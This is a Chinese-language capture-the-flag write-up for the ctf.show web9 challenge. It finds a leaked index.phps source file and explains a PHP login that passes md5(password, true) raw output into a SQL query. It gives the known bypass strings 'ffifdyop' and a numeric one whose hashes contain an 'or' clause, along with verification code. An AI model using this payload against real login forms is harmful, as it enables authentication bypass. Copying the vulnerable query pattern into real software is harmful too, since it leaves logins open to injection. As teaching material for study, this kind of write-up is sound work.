ctf.show_web9
登录界面,想到了sql注入,试一下万能密码,不行
`猜测可能有其他页面
法一:
直接后台目录扫描,发现index.phps源代码文件
法二:
robots.txt中查看被隐藏不允许访问的页面
User-agent: * Disallow: /index.phps
index.phps代码
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>
关键代码解释:
PHP strlen() 函数:函数返回字符串 “Shanghai” 的长度;
mysqli_query() 函数执行某个针对数据库的查询<查询成功将返回一个 mysqli_result 对象或 TRUE。如果失败,则返回 FALSE>
md5() 函数计算字符串的 MD5 散列—–>
md5(string,raw)
参数 描述 string 必需。规定要计算的字符串。 raw 可选。规定十六进制或二进制输出格式:TRUE - 原始 16 字符二进制格式FALSE - 默认。32 字符十六进制数 PHP mysqli_num_rows():获取查询结果的行数
mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组
==得出结论:==
要得到flag需要向password传参,并且传参结果需要经过md5加密后通过sql语句验证,也就是可以理解为使用md5进行绕过
php md5()漏洞
这里涉及到了一个PHP md5()漏洞
即:php中的md5函数有一个可选参数,如果开发者写查询数据库函数时使用了这个参数,或者在数据存储时是md5后的字符串形式存储,都有可能产生这个漏洞
语法
md5(string,raw)
参数 描述 string 必需。规定要计算的字符串。 raw 可选。规定十六进制或二进制输出格式:TRUE - 原始 16 字符二进制格式FALSE - 默认。32 字符十六进制数
md5看似是非常强加密措施,但是一旦没有返回我们常见的16进制数,返回了二进制原始输出格式,在浏览器编码的作用下就会编码成为奇怪的字符串(对于二进制一般都会编码)。
我们使用md5碰撞,一旦在这些奇怪的字符串中碰撞出了可以进行SQL注入的特殊字符串,那么就可以越过登录了
在经过长时间的碰撞后,比较常用的是以下两种:
数字型:129581926211651571912466741651878684928
字符型:ffifdyop
可以使用以下代码验证:
<?php
$a='ffifdyop';
$b='129581926211651571912466741651878684928';
$bb=md5($a,TRUE);
echo $bb;
echo "\n";
$cc=md5($b,true);
echo $cc
?>
结果为:
'or'6�]��!r,��b
�T0D��o#��'or'8
可以看到,它们都有==‘or’==结构
就可以构造出**必真**的结果。
最终结果:
strlen($password)>10
要求字符串长度小于10,因此选择ffifdyop
使用bp进行抓包改包,向password传参
得到flag
总结ctf中 MD5 绕过的一些思路 总结ctf中 MD5 绕过的一些思路_yจุ๊บng的博客-CSDN博客_ctf md5绕过](https://blog.csdn.net/CSDNiamcoming/article/details/108837347))